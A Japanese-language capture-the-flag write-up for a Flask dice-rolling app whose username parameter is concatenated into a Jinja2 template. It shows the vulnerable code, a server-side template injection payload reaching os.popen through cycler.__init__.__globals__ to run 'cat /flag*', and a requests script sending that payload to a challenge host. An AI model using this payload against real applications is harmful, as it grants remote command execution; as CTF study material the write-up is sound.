Overview
Flask製のWebアプリケーションで、サイコロを振って結果を表示するサービス。 ユーザー名を入力すると "Hello, ! Your roll of the dice is: " というメッセージが表示される。 ソースコードを確認すると、ユーザー名がテンプレート文字列に直接結合されており、SSTIが存在することが確認できる。
Solution
app.py の roll 関数:
@app.get("/roll")
def roll():
username = request.args.get("username", "")
dice = randint(1, 6)
template = "Hello, " + username + "! Your roll of the dice is: {{ dice }}"
return render_template_string(template, dice=dice)
username がサニタイズされずに template へ連結され、render_template_string に渡される。これによりJinja2のテンプレート構文を注入して任意のPythonコードを実行できる。
Jinja2のSSTIでは、Pythonの内部属性(__globals__ や __class__ など)を辿ってモジュールのインポートや関数実行が可能。
今回は cycler クラスを利用して os.popen を呼び出すペイロードを作成した。
{{ cycler.__init__.__globals__.os.popen('cat /flag*').read() }}
動作手順:
cycler.__init__メソッドを参照__globals__からグローバルシンボルテーブルへアクセスosモジュールを取得popenでシェルコマンドcat /flag*を実行read()で実行結果(フラグ)を取得
Exploit
フラグを取得するスクリプト:
import requests
import sys
import urllib.parse
url = "http://34.170.146.252:14677/"
payload = "{{ cycler.__init__.__globals__.os.popen('cat /flag*.txt').read() }}"
print(f"Target URL: {url}")
print(f"Payload: {payload}")
target_url = f"{url}/roll"
response = requests.get(target_url, params={"username": payload})
print("Response text:")
print(response.text)